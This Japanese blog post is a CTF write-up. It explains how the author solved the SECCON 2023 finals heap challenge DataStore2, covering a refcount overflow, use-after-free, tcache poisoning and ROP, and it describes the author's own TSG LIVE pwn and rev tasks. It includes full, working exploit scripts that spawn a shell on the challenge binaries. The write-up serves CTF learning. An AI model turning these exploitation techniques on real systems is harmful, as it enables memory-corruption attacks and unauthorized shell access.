SECCON CTF 2023 Domestic Finals Writeup

はじめに

SECCON CTF 2023 Domestic FinalsにTSGから参加していました。結果は8位でした。PwnのDataStore2を解くことができたので、そのWriteupです。Domestic限定ではありますが人生初のFirst Bloodで、尚且つ、競技時間中に初めて高難度のPwnを解くことができたのでめちゃくちゃ嬉しかったです。

簡単に時系列で追っていこうと思います。

競技開始

競技開始してすぐ各問題をダウンロードしてtarで全体を固め、CTFNoteに問題をimportしました。

最初に取り掛かったのはWkNoteでした。前日にvagrantのWin11のBoxをダウンロードしておくようアナウンスがあったので期待していたのですが、期待通りWindows Kernel Exploitの問題でした。

しかし、Macvagrantのpluginにはwinrmとwinrm-elevatedが存在せず、代わりにvagrant-winrmというものがあるけれども、配られたVagrantfileを単にvagrant upするだけではVMは起動するもののエラーが出てうまくいきませんでした。

色々やってみても微妙だったのでLinuxGUIの環境を入れてそこにVagrantを入れて実行しようとしたのですが、たまたま持っていたUbuntuのISOでは謎にVMware上で仮想環境を作成できなかったので、とりあえず一旦保留して別の問題を見ることにしました。競技中の環境構築できないがち。ここまで、1時間くらい溶かしてしまいました。

一旦落ち着いて問題セットを見てみることに。babyheapはpascal、bombermanはC++、elkはJS問とあって必然的にDataStore2を解くしかないと気づきます。パッと見heap問ぽくてかなり不安でした。

DataStore2

そもそも2とあるので1が存在するはずなんですが調べるという頭がなく。SECCON CTF 2023 QualsはRev関連を解いていたので気づきませんでしたが、QualsにDataStore1が出ていたんですね。Diffを調べればコードの把握の時間を短縮できたと思うので、反省ポイントです。

DataStoreとあるようにSTRING, UINT, FLOATのデータを保存できるというプログラムです。それらのデータはROOTに直接保存できるだけでなく、ARRAYに格納できます。ARRAYは8個の要素を取ることができ、データを保存できるだけでなく、ARRAYをその要素とすることができます。つまりファイルシステムに似た構造で、例えるならばディレクトリがARRAYで、ファイルがSTRING, UINT, FLOATです。

これらは下に示す構造体などで実装されています。

structure

typedef enum {
    TYPE_EMPTY = 0,
    TYPE_ARRAY = 0xfeed0001,
    TYPE_STRING,
    TYPE_UINT,
    TYPE_FLOAT,
} type_t;

typedef struct {
    type_t type;

    union {
        struct Array *p_arr;
        struct String *p_str;
        uint64_t v_uint;
        double v_float;
    };
} data_t;

typedef struct Array {
    size_t count;
    data_t data[];
} arr_t;

typedef struct String {
    uint8_t ref;
    size_t size;
    char *content;
} str_t;

arr_tARRAYを管理する構造体で、要素の数countとそのcountと同じ長さのdata_tの配列を持っています。str_tSTRINGを管理する構造体で、リファレンスカウントのrefと文字列のsize、そして文字列へのポインタであるcontentを持っています。data_tはデータのtypeの他に、ARRAYSTRINGの場合はそれぞれarr_tstr_tの構造体へのポインタを、UINTFLOATの場合は即値v_uintv_floatをそれぞれ格納しています。

脆弱性

存在する各関数を隈なく読んで、入力を扱う部分に脆弱性がないかな〜と探して2時間が経ち、remove_recursive関数の中でSTRINGが削除される時にstr_t->contentであったポインタがNULLクリアされていないなぁと気づきます。さらにSTRINGを削除する時、そのrefが0になった場合は他に同じstr_tを参照しているデータが存在しないということでstr_t->contentstr_tをfreeするわけですが、refの型はuint8_tなので256以上の参照でinteger overflowを起こせることに気づきます。よってSTRING一つをcreateした後に255回copyしてinteger overflowでrefを1にし、そのSTRINGを一つdeleteすることでUAFを引き起こすことに成功します。

競技後、ptr-yudaiさんは、refが存在するということはやっぱりそれ周りで脆弱性があってuint8_tなのでinteger overflowだよねといったことをおっしゃっていましたし、モラさんもinteger overflowはすぐに分かって〜と言っていたのですが、僕は全部を見て検討した上で最後にそれしかねぇとなって見つけたので、脆弱性を見つける勘がまだまだ身についていないなぁという気持ちです。

前述の通りstr_t->contentのポインタがNULLクリアされていないので、UAFでstr_t->contentの残ったポインタ経由でstr_tに対する文字列の中身の出力を行う(show関数を実行する)ことで、tcacheのチャンクからheapのアドレスをleakすることができます。

remove_recursive関数

static int remove_recursive(data_t *data){
    if(!data)
        return -1;

    switch(data->type){
        case TYPE_ARRAY:
            {
                arr_t *arr = data->p_arr;
                for(int i=0; i<arr->count; i++)
                    if(remove_recursive(&arr->data[i]))
                        return -1;
                free(arr);
                data->p_arr = NULL;
            }
            break;
        case TYPE_STRING:
            {
                str_t *str = data->p_str;
                if(--str->ref < 1){
                    free(str->content);
                    free(str);
                }
                data->p_str = NULL;
            }
            break;
    }
    data->type = TYPE_EMPTY;

    return 0;
}

AARのprimitive

str_tstr_t->contentに対してUAFができる状態です。ここで初出しの情報ですが、STRINGをcreateする時にstr_t->contentのバッファはscanf("%70m[^\n]%*c", &buf);で取られます。この%mというのは初めて知った書式指定子なのですが、heapにバッファ用の領域を作ってそこに入力を格納します。そこまではまぁいいのですが、この時はなぜかtcacheからもfastbinsからも取られません。そのため単にstr_t->contentstr_tを重ねるといったことはできませんでした。

そこで、str_tと重ねて悪いことができる構造体はないかなぁと考えると、arr_tを重ねると嬉しいことが起きるとわかります。str_tは0x20サイズのtcache binsにつながりますが、countが1のarr_tを取ることでstr_tarr_tを重ねられます。そのarr_tUINTを格納するとちょうどstr_t->contentarr_t->data[0]->v_uintが重なるので、好きな値をそのv_uintに入れれば、str_t->contentのポインタとしてその値をアドレスとしてそこに格納されている値を読み出せる、つまりAAR primitiveを得ることができます。

create関数

static int create(data_t *data){
    if(!data || data->type != TYPE_EMPTY)
        return -1;

    printf("Select type: [a]rray/[v]alue\n"
           "> ");

    char t;
    scanf("%c%*c", &t);
    if(t == 'a') {
        printf("input size: ");
        size_t count = getint();
        if(count > 0x8){
            puts("too big!");
            return -1;
        }
        // callocを使っている
        arr_t *arr = (arr_t*)calloc(1, sizeof(arr_t)+sizeof(data_t)*count);
        if(!arr)
            return -1;
        arr->count = count;

        data->type = TYPE_ARRAY;
        data->p_arr = arr;
    }
    else {
        char *buf, *endptr;

        printf("input value: ");
        scanf("%70m[^\n]%*c", &buf);
        if(!buf){
            getchar();
            return -1;
        }

        uint64_t v_uint = strtoull(buf, &endptr, 0);
        if(!endptr || !*endptr){
            data->type = TYPE_UINT;
            data->v_uint = v_uint;
            goto fin;
        }

        double v_float = strtod(buf, &endptr);
        if(!endptr || !*endptr){
            data->type = TYPE_FLOAT;
            data->v_float = v_float;
            goto fin;
        }

        str_t *str = (str_t*)malloc(sizeof(str_t)); // ここはmalloc
        if(!str){
            free(buf);
            return -1;
        }
        str->ref = 1;
        str->size = strlen(buf);
        str->content = buf;
        buf = NULL;

        data->type = TYPE_STRING;
        data->p_str = str;

fin:
        free(buf);
    }

    return 0;
}

なお、ここでarr_tと重ねる際の注意点として、createではcallocが使われているのでtcacheから領域が取られないことに注意です。duplicate_recursiveの方ではmallocで取った後にmemcpyするという実装になっているので、あらかじめcountが1のarr_tを作っておいてそれをすることで、mallocによってtcacheからchunkを取ってstr_tarr_tを重ねる必要があります。

duplicate_recursive関数

static int duplicate_recursive(data_t *dst, data_t *src){
    if(!src || !dst || dst->type != TYPE_EMPTY)
        return -1;
    switch(src->type){
        case TYPE_ARRAY:
            {
                arr_t *arr = src->p_arr;
                size_t sz = sizeof(arr_t)+sizeof(data_t)*arr->count;
                arr_t *new = (arr_t*)malloc(sz); // mallocを使っている
                if(!new)
                    return -1;
                memcpy(new, arr, sz);
                for(int i=0; i<arr->count; i++){
                    switch(arr->data[i].type){
                        case TYPE_ARRAY:
                        case TYPE_STRING:
                            new->data[i].type = TYPE_EMPTY;
                            if(duplicate_recursive(&new->data[i], &arr->data[i]))
                                return -1;
                    }
                }
                dst->type = TYPE_ARRAY;
                dst->p_arr = new;
            }
            break;
        case TYPE_STRING:
            src->p_str->ref++;
        default:
            memcpy(dst, src, sizeof(data_t));
    }
    return 0;
}

任意アドレスをfreeできるprimitive

AARのprimitiveを得る際にstr_t->contentarr_t->data[0]->v_uintが重なることを使いましたが、ここで重ねる際にarr_t->countが1で初期化されるが故にstr_t->refも1となっているので、そのstr_tを使っているSTRINGのデータ(256個のどれか)をdeleteすることで、str_t->contentの指す先を再びfreeすることができます。v_uintには任意の値を入れることができるので、任意のアドレス先をfreeすることができます。

この任意アドレスをfreeできるprimitiveは1日目の16:00くらいには手に入っていたと思います。

libcのアドレスをleak

これまでを整理すると、heapのアドレスが手に入っていて、AARと任意のアドレスをfreeできるprimitiveをゲットしている状態です。今思えば何を悩んでいたのかという話ですがここからlibcのアドレスをleakするまでが長かったです。heapのアドレスのみしか知らないので、僕の思いつく限りでは、適切なサイズのチャンクをfreeしてunsorted binsに繋げることでしかlibcのアドレスをheap上に置くことはできないはずです。多分。

このプログラムではunsorted binsに繋げるようなチャンクは存在しないので、heap上に適切なサイズのfake chunkを作ってそれを任意アドレスをfreeできるprimitiveを使ってfreeするということになります。fake chunkの満たすべき条件はサイズの部分が正しく存在するのと、そのサイズ分進んだ先に使われている扱いのchunkが存在することです。このサイズ部分はstr_t->contentへの書き込みの時に8byte + p64(size)といった形でheap上に残せます。それをfreeすればchunkはunsorted binsにつながり、AARを使ってlibcのアドレスをleakすることができます。

当日は、unsorted binsを使ったlibc leakの経験が少ないというpwnerにあるまじき理由で、全然このlibc leakができませんでした。1日目の会場を後にして、メンバーで日高屋に入ってから宿に戻るまでずっとlibc leakができねぇとブツブツ言っていました。宿に戻って寝落ちしてから多分0:00くらいに起こしてもらって、そこから再び考えて2日目の1:00くらいにようやくlibc leakができました。

stackのアドレスをleak

libcのアドレスを手に入れられていて、AARのprimitiveが存在するので、environからstackのアドレスをleakできます。

一旦ここまでの整理

必要なアドレスは全て手に入れられています。AARのprimitiveを持っています。任意のアドレスに対してfreeできます。

ここからどうにかRIPを取る必要があります。

tcache posioningに関する検討

まず、str_tarr_tに関する操作とUAFの組み合わせだけで、tcache poisoningは可能か検討しました。tcacheのsafe-linkingポインタはstr_t->refarr_t->countとかぶっており、好きな値を入れることはできないので、上のprimitiveだけで即tcache poisoningをすることはできません。

[方針1] return addressの付近もしくはlibcのGOTやFILE structureの存在する部分にstr_t->contentを取る。

arr_tと違って、str_t->contentには自由な書き込みができます。よってこの入力用のバッファを書き換えたい領域に被せて取れないかを考えました。

しかし、scanf("%70m[^\n]%*c", &buf);で取られる領域はtcacheからchunkを取ってきません。そこでまず、fastbinsからワンチャン取ってきたりしないかなと考えました。ARRAYをcreateしてからdeleteすると、arr_tはcallocで取られてfreeされるので、tcacheを埋めてfastbinsに繋げることができます。fastbinsに対してはA, B, Aという順番で間に一つ別のチャンクを挟めばdouble freeできることが知られています。double freeを起こして、str_t->contentをfastbinsからとることができれば、single linked listのポインタを自由に書き換えて、好きなアドレスにfastbinsのチャンクを確保でき、str_t->contentをそこに続けてとることで、自由に書き換えができるのでは?という狙いです。

実際のところfastbinsのsingle linked listの書き換えをまともにやったことがないので、上の方針がまともなのかどうかもわかりませんが、そもそもscanf("%70m[^\n]%*c", &buf);はfastbinsからもchunkを取ることはなかったので、前提が崩壊して無理でした。ここで、どうやらscanf("%70m[^\n]%*c", &buf);はunsorted binsの大きなchunkから小さなchunkを切り出して使っているぞ、ということに気づきます。切り出しに使ったunsorted binsのchunkは適切にresizeされます。

次に、return addressの付近もしくはlibcのGOTやFILE structureの存在する部分にunsorted binsのチャンクを作れないかを考えました。しかし、当然それらの領域にはfake chunkに相応しい状況はなく、何かを書き込むprimitiveは存在しないので、無理筋です。

tcache poisoningのprimitive

方針1の段階で、unsorted binsのchunkからstr_t->content用の領域が切り出されて確保されることが分かりました。このunsorted binsのチャンクはlibcのアドレスleakに使ったfake chunkで、heap上の自由なところから始められます。つまりfake chunkをtcacheに重ねて取ることで、str_t->contentがそこから取られる時にうまく調整すれば、tcacheの構造を保ったままtcacheのsafe-linkingされたポインタのみを違う値に書き換えられます。つまり、tcache poisoningができます。これにより、libcやstackにarr_tstr_tを確保することが可能になります。

[方針2] return addressの付近もしくはlibcのGOTやFILE structureの存在する部分にarr_tを取り、arr_tv_uintなどを駆使してROPやFSOPに繋げる。

tcache poisoningのprimitiveを使うことで、arr_tをlibcやstackに取ることができます。arr_tv_uintを格納することでlibcやstack領域の一部を好きに書き換えられます。ただし、arr_tv_uintの書き込み時には、TYPE_UINT0xfeed0003date_t->typeとしてv_uintの直前に格納されることに注意です。また、v_uintは16の倍数のアドレスにしか格納できないという制約があります。

最初に考えたことは、libcのGOTを書き換えてRIPを取れないかということですが、少なくともputs関数の中の__strlen_avx2のGOTは書き換えられなさそうでした。

次に、FSOPを検討しましたが、どうも無理筋だなぁとなります。16の倍数のアドレスにしか書き込めないのと、0xfeed0003などが書き込まれてしまうという制約がきつすぎて無理そうです。

ROPも考えてみましたが、これも無理そうです。return addressは下1nibbleが8のstackのアドレスに存在するので、v_uintと重なりません。str_t->refも重ならないので、str_t->refを被せて++でずらすというのも無理です。v_uintの場所とchunkのサイズの部分も重ならないので、stack上に適切なchunkサイズとなる値をv_uintで作って、その領域をfreeしてunsorted binsに繋げるというのも無理筋です。

一方でv_uintはsaved rbpと重ねることができます。main関数とそのサブルーチンにcanaryが存在しないので、leave retを2回踏むことでstack pivotできないか、というのも検討しました。その時は無理そうと結論付けて別の方法を探しましたが、後でモラさんに聞いたところチーム:(はその方針で解いたらしいです。一度もっとちゃんと試してみるべきだったなぁと思うなど。かなりの特殊ケースなので、うまくいかないと思ってしまったんですよね。

[方針3] return address付近にarr_tを取り、別のarr_tduplicate_recursive関数でmemcpyする。

これまで色々試した結果、以下のことが整理できました。2日目の会場に着いて、1時間くらい経った頃にこの整理をやっていたと思います。解けそうで解けないを何回も繰り返しながら時間が過ぎていくだけという状況で焦っていたので、一旦落ち着いて整理しようという気持ちでした。

  • arr_tstr_tはstackやlibcなどの書き換えたい領域にとれる。
  • str_t->contentはheap上のfake chunkを作れる領域自由に取ることは可能であるが、stackやlibcの領域には絶対に取れなさそう。
  • arr_tstr_tに対する直接の操作では、ROPやFSOPは無理そう。

そこで注目したのが、duplicate_recursiveARRAYをコピーする際にmemcpyを使ってarr_tの内容を別のarr_tに複製している点です。これに気づいた時に、ああ僕はこの問題解けたんだと思いました。str_t->contentが取れない時点でこのmemcpyしかstack上に制約なしに書き込める方法はないので、気づかなくてはならないことだったと思いますし、気づけて良かったです。

duplicate_recursive関数

static int duplicate_recursive(data_t *dst, data_t *src){
    if(!src || !dst || dst->type != TYPE_EMPTY)
        return -1;
    switch(src->type){
        case TYPE_ARRAY:
            {
                arr_t *arr = src->p_arr;
                size_t sz = sizeof(arr_t)+sizeof(data_t)*arr->count;
                arr_t *new = (arr_t*)malloc(sz); // mallocを使っている
                if(!new)
                    return -1;
                memcpy(new, arr, sz);
                for(int i=0; i<arr->count; i++){
                    switch(arr->data[i].type){
                        case TYPE_ARRAY:
                        case TYPE_STRING:
                            new->data[i].type = TYPE_EMPTY;
                            if(duplicate_recursive(&new->data[i], &arr->data[i]))
                                return -1;
                    }
                }
                dst->type = TYPE_ARRAY;
                dst->p_arr = new;
            }
            break;
        case TYPE_STRING:
            src->p_str->ref++;
        default:
            memcpy(dst, src, sizeof(data_t));
    }
    return 0;
}

勿論コピー元のarr_tは普通のarr_tに対する操作だけでは好きな値を書き込むことはできませんが、heap上にあるということは、str_t->contentを重ねられます。まず、tcache poisoningを起こした時のように、既存のarr_tstr_t->contentと重ね、そこにROPのpayloadを書き込んでおきます。次にtcache poisoningのprimitiveを経由してstack上のreturn addressに重なるようにarr_tを取ります。そして、duplicate_recursiveでROPのpayloadが置かれているarr_tの内容をmemcpyで複製すれば、ROPのpayloadをreturn addressのメモリ領域に配置できます。最後はmainからreturnすれば、ROPが発火してシェルを取れます。

DataStore2 Domestic FirstBlood

exploit.py

from ptrlib import *

elf = ELF('./chall')

libc = ELF('./libc.so.6')

io = process('./chall')
#io = remote('datastore2.dom.seccon.games', 7352)
#io.debug = True

def create_string(indexs=[], data="ABCDEFGH"):
    for i in range(0, len(indexs)):
        io.sendlineafter("> ", '1')
        io.sendlineafter(": ", indexs[i])
    io.sendlineafter("> ", '1')
    io.sendlineafter("> ", 'v')
    io.sendlineafter(": ", data)
    return

def create_uint(indexs=[], integer=0xdeadbeef):
    for i in range(0, len(indexs)):
        io.sendlineafter("> ", '1')
        io.sendlineafter(": ", str(indexs[i]))
    io.sendlineafter("> ", '1')
    io.sendlineafter("> ", 'v')
    io.sendlineafter(": ", str(integer))
    return

def create_array(indexs=[], size=8):
    for i in range(0, len(indexs)):
        io.sendlineafter("> ", '1')
        io.sendlineafter(": ", str(indexs[i]))
    io.sendlineafter("> ", '1')
    io.sendlineafter("> ", 'a')
    io.sendlineafter(": ", str(size))
    return

def delete(indexs=[]):
    for i in range(0, len(indexs)):
        io.sendlineafter("> ", '1')
        io.sendlineafter(": ", str(indexs[i]))
    io.sendlineafter("> ", '2')
    return

def copy(indexs, dst):
    # indexs[-1] == src
    for i in range(0, len(indexs)):
        io.sendlineafter("> ", '1')
        io.sendlineafter(": ", str(indexs[i]))
    io.sendlineafter("> ", '3')
    io.sendlineafter(": ", str(dst))
    return

def list():
    io.sendlineafter("> ", "2")
    return


fakechunk_size = 0x6b1
def make_256_ref():
    # create root array
    create_array()
    # create init array
    create_array(indexs=[0])
    create_array(indexs=[0, 0])
    create_string([0, 0, 0])
    create_string([0, 0, 7], b"FAKESIZE"+p64(fakechunk_size))
    for i in range(0, 3):
        copy([0, 0, 0], i+1)

    # copy init array (256 ref)
    for i in range(0, 8-1):
        copy([0, 0], i+1)
    for i in range(0, 8-1):
        copy([0], i+1)
    return


make_256_ref()
# add 8 ref
copy([1,6,0], 5)
copy([1,6,0], 6)
copy([1,7,0], 5)
copy([1,7,0], 6)
copy([2,6,0], 5)
copy([2,6,0], 6)
copy([2,7,0], 5)
copy([2,7,0], 6)

# delete 2 array -> uaf
delete([0, 7])
delete([0, 2]) # 0x90 tcache bins * 2

# leak heap address
list()
io.recvuntil("List")
io.recvuntil("List")
io.recvuntil("<S>")
addr = io.recvline()
heap_base = u64(addr) <<4
print("[+] heap address leaked")
print(hex(heap_base))

# free fake chunk
io.recvuntil("MENU")
create_array([0, 0, 4], size=1)
copy([0, 0, 4], 5) # overlap arr_t on str_t
fake_chunk_addr = heap_base + 0x310
create_uint([0, 0, 5, 0], fake_chunk_addr) # str_t->content to fake_chunk_addr
delete([0, 0, 3]) # free str_t and str_t->content

# leak libc address
# (leak in the process of copying an array)
io.sendlineafter("> ", '1')
io.sendlineafter(": ", '0')
io.sendlineafter("> ", '1')
io.sendlineafter(": ", '0')
io.sendlineafter("> ", '1')
io.recvuntil("MENU")
io.recvuntil("<S>")
addr = io.recvline()[1:]
libc.base = u64(addr) - 0x219ce0
print("[+] libc address leaked")
print(hex(libc.base))

io.sendlineafter(": ", '4')
io.sendlineafter("> ", '3')
io.sendlineafter(": ", '6') # copy [0, 0, 4] array to [0, 0, 6]

bin_sh_addr = next(libc.find('/bin/sh'))
pop_rdi_ret = libc.base + 0x10f2f8
ret_addr = libc.base + 0x1b40b9
system_addr = libc.symbol('system')

delete([0, 0, 7])

# leak stack address
# (leak in the process of writing ROP payload to [0, 1] arr_t)
create_uint([0, 0, 6, 0], libc.symbol('environ'))
io.sendlineafter("> ", '1')
io.sendlineafter(": ", '0')
io.sendlineafter("> ", '1')
io.sendlineafter(": ", '0')
io.sendlineafter("> ", '1')
io.recvuntil("MENU")
io.recvuntil("<S>")
addr = io.recvline()[1:]
return_addr = u64(addr) - 0x120
print("[+] stack address leaked")
print(hex(return_addr))

io.sendlineafter(": ", '3')
io.sendlineafter("> ", '1')
io.sendlineafter("> ", 'v')

rop_payload = p64(pop_rdi_ret)
rop_payload += p64(bin_sh_addr)
rop_payload += p64(ret_addr)
rop_payload += p64(system_addr)[:-1]
io.sendlineafter(": ", b"ROPPAYLOADWRITE!" + p64(8) + rop_payload)

# tcache poisoning
payload = b"P" * 0x28 # padding
payload += p64(0x91) # tcache size
payload += p64(heap_base >> 12 ^ return_addr-8)[:-1] # overwrite safe-linking ptr
create_string([0, 0, 7], payload)

# use tcache 0x90
copy([0, 6], 2)

# allocate arr_t chunk on stack and memcpy rop_payload
copy([0, 1], 7)

#input()
io.sendlineafter("> ", 0)
print("[+] pwned!!!")
io.recvuntil("Bye.\n")
io.interactive()

競技終了まで

DataStore2を通せてFirst Blood嬉しい!という気持ちと、0点で終わらなくて良かったとホッとした気持ちの半々でした。

WkNoteに取り組む時間はなさそうだったので、efsbkとbombermanとbabyheapを見ていました。しかし、何も解けず。途中でDataStore2のタイムアウトを緩めてもいいかという打診があったので、OKしました。タイムアウト自体はexploitの本質?自体には関係なさそうというのと、必要なことは無駄な入力を減らすだけなので打診してきたチームのsolveは遅かれ早かれ出てしまうだろうから、競技終了時の点数には影響しないと思われるのと、何よりarr_tの制約に悩まされた同志なので。

同じく一つの問題に長時間取り組んでいたjiei氏がmuck-a-macを解いてくれた後、caphosra氏とjiei氏で協力してDLP 4.0を通してくれて競技終了でした。

感想

もっと速く、たくさん解けるようになりたいです。今後はC言語以外のPwn問題にも取り組んでいきたいです。他のWriteupを見る限り、efsbkは解けるべきだったなという気持ちに。個人的にWkNoteとelkとokihaiは、今後優先的にUpSolveしていきたいです。

運営の皆様、会場でお会いできた他のチームの方々ありがとうございました。来年もTSGでFinalsに参加したいと思っています。

TSG LIVE! 10のLive CTFにて作問しました。

はじめに

5月13日の五月祭のTSG LIVE! 10の一企画としてLive CTFの作問と実況を行いました。実況の方は配信システムの方でいろいろ問題が発生して、あたふたしていましたが、PwnとRevの作問に関しては良質な問題を提供できたのではないかと考えています。

Githubリポジトリは以下のリンク

github.com

RevのWriteup

難読化されたpowershellソースコードを解析する問題です。コードの機能としては非常にシンプルで、FLAGの文字列を入力し、あっていたらcorrect!と、間違っていたらwrong...と返されるプログラムです。

whitespaceが大量に使われていたり、文字列を読みにくくされていたりしますが、if else文を使っている部分が一箇所だけ見つかります。この比較の条件分の$jが入力した文字列に対応しているので、$kがおそらくFLAGに対応しているだろうと予測して、$kWrite-OutputするとFLAGを得ることができます。

150点問題に相応しい難易度だったのではないでしょうか。

string_related

;iF                                                                                                                                                                                       ($j -cEq $k){&("{11}{3}{5}{8}{7}{0}{2}{4}{9}{10}{1}{6}" -f "`-","u","`o","R","U","`i","T","E","T","T","`P","`w") $s}                                                                                                            ElSe{&("{3}{5}{0}{10}{8}{4}{7}{6}{11}{9}{2}{1}" -f "`i","t","U","`W","`-","R","U","`o","E","p","t","t") $l}

PwnのWriteup

agent

checksec ./agent
agent.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void readline_n(char* buf, int n)
{
    char tmp[1];
    for(int i=0; i<n; i++)
    {
        read(STDIN_FILENO, tmp, 1);
        if (tmp[0] == '\n')
        {
            break;
        }
        buf[i] = tmp[0];
    }
    return;
}

void win()
{
    system("/bin/sh");
    return;
}

int main()
{
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    p = alloca(sizeof(struct Profile));

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    do {
        printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
        scanf("%d", &num);
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

Profileという構造体がalloca()によってstackの上に取られています。入力に使われるreadline_n()はnull終端されず、改行を読み込むと改行自身を書き込まずに読み込みを終了します。

脆弱性のある箇所は、まず、バッファー領域が初期化されていないのでtext領域やlibcのアドレスなどがそのまま残っており、アドレスリークが可能です。また、jobメンバーへ16byteまるまる書き込みができるので、Profile構造体の直後にあるtext領域のアドレスもリークできます。

agent stack

switch文のcase 4:にてreadline_n(p->job, sizeof(p->words));というコードが存在し、0x10バイトのサイズのjobメンバーにwordsメンバーのサイズ分、つまり0x100バイトの書き込みができるというBOFが存在します。

No canaryなので、そのままBOFでreturn addressを書き換えることができます。system関数内のmovaps命令で落ちないように、win関数のアドレスのendbr64; push rbpの処理を飛ばしたwin()+5のアドレスをreturn addressに書き込めば終了です。

agent BOF

agent.py

from ptrlib import *

elf = ELF("../dist/agent")
libc = ELF('../dist/libc-2.31.so')

#io = Socket("localhost", 30005)
io = Process("../dist/agent")

io.sendlineafter("Name > ", "N"*0xf)
io.sendlineafter("Words > ", "W"*0xff)
io.sendlineafter("Age > ", "256")
io.sendlineafter("Job > ", "J" * (0x10 - 3) + "END")\

# leak text addr
io.recvuntil("END")

text_addr = io.recvline()
text_addr = u64(text_addr)
elf.base = text_addr - 0x12c9

payload = b"A" * 0x40

# align stack
payload += p64(elf.symbol('win') + 5)

io.sendlineafter("> ", '4')
io.sendlineafter("> ", payload)
io.interactive()

renewal

checksec ./renewal
renewal.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char tmp[1];
int j;

#define readline_n(buf, n)          \
{                                   \
    for(j=0; j<n; j++)              \
    {                               \
        read(STDIN_FILENO, tmp, 1); \
        if (tmp[0] == '\n')         \
        {                           \
            break;                  \
        }                           \
        buf[j] = tmp[0];            \
    }                               \
}                                   \

struct Profile
{
    char name[0x10];
    char words[0x100];
    long age;
    char job[0x10];
};

void win()
{
    system("/bin/sh");
    return;
}

int main()
{
    struct Profile* p;
    setvbuf(stdout, (char*) NULL, _IONBF, 0);

    p = alloca(sizeof(struct Profile));
    memset(p, 0, sizeof(struct Profile));

    printf("Enter your profile\n");

    printf("Your Name > ");
    readline_n(p->name, sizeof(p->name));
    printf("Your Words > ");
    readline_n(p->words, sizeof(p->words));
    printf("Your Age > ");
    scanf("%ld", &p->age);
    printf("Desired Job > ");
    readline_n(p->job, sizeof(p->job));

    printf("\n---------------Profile---------------\n");
    printf("Name: \t\t%s\nWords: \t\t%s\nAge: \t\t%ld\nDesired Job: \t%s\n", p->name, p->words, p->age, p->job);
    printf("-------------------------------------\n\n");

    char check[4];
    int num, i=0;
    printf("Anything to fix?\n");
    do {
        printf("1. Name\n2. Words\n3. Age\n4. Desired Job\n> ");
        scanf("%d", &num);
        switch(num)
        {
            case 1:
                printf("Name > ");
                readline_n(p->name, sizeof(p->name));
                i++;
                break;
            case 2:
                printf("Words > ");
                readline_n(p->words, sizeof(p->words));
                i++;
                break;
            case 3:
                printf("Age > ");
                scanf("%ld", &p->age);
                i++;
                break;
            case 4:
                printf("Desired Job > ");
                readline_n(p->job, sizeof(p->words));
                i++;
                break;
            default:
                puts("Please specify 1, 2, 3 or 4");
                puts("Bye");
                exit(0);
        }
        if (i == 1)
        {
            printf("Done fixing?\n");
            readline_n(check, sizeof(check));
            if (strncmp(check, "YES", 3) == 0)
            {
                break;
            }
        }
    } while (i < 2);

    printf("Sent the profile.\n Good luck!\n");
    return 0;
}

diff agent.c renewal.c -U 0

@@ -5,0 +6,16 @@
+char tmp[1];
+int j;
+
+#define readline_n(buf, n)          \
+{                                   \
+    for(j=0; j<n; j++)              \
+    {                               \
+        read(STDIN_FILENO, tmp, 1); \
+        if (tmp[0] == '\n')         \
+        {                           \
+            break;                  \
+        }                           \
+        buf[j] = tmp[0];            \
+    }                               \
+}                                   \
+
@@ -14,15 +29,0 @@
-void readline_n(char* buf, int n)
-{
-    char tmp[1];
-    for(int i=0; i<n; i++)
-    {
-        read(STDIN_FILENO, tmp, 1);
-        if (tmp[0] == '\n')
-        {
-            break;
-        }
-        buf[i] = tmp[0];
-    }
-    return;
-}
-
@@ -40,0 +42 @@
+    memset(p, 0, sizeof(struct Profile));

readline_n()が関数からマクロに変わりましたが、動作に違いはほとんどありません。memsetによって構造体のために取られたstack領域は0埋めされていますが、jobの領域0x10バイトにまるまる書き込みができるので、依然text領域のアドレスリークが可能です。stack canaryがオンになっているので、前問のagentとは違い単純なBOFではリターンアドレスを書き換えることができません。

ここで、注目するべきはProfile構造体のポインタであるpがスタック上のProfile用の領域よりアドレスの大きい方、つまり、BOFで書き換えられる領域に存在することです。また、numやiといったローカル変数も書き換えられることに注目してください。

renewal stack
stackのアドレスをリークすることはできませんが、readline_n()はnull終端でないので、pのアドレスの下1byteを書き換えることで、1/16の確率で自分の望むアドレスへとpのポインタをずらすことができます。具体的にはjobメンバーのバッファーの先頭アドレスをreturn addressに重ねることができます。

例えば上のスクリーンショットでは、return addressの格納されているstack上のアドレスは0x7ffcbf3ae858であり、jobメンバーのバッファーの先頭アドレスは0x7ffcbf3ae818です。つまり、pのアドレスを+0x40することができれば、jobに書き込んだ際にreturn addressの格納されている領域に書き込むことができるようになるということです。

renewal bof

今回はpのアドレスの下1byteを0x40で書き換えれば、jobの先頭とreturn addressが綺麗に重なりました。実際のexploitは例えば0x40で毎回書き換えるようにして、pのアドレスの下1byteが00になるまで接続し直す、という方法を取ります。stackのアドレスの下4bitは0で変わらないので、上4bitで0を引く確率、つまり1/16でこのexploitは成功します。

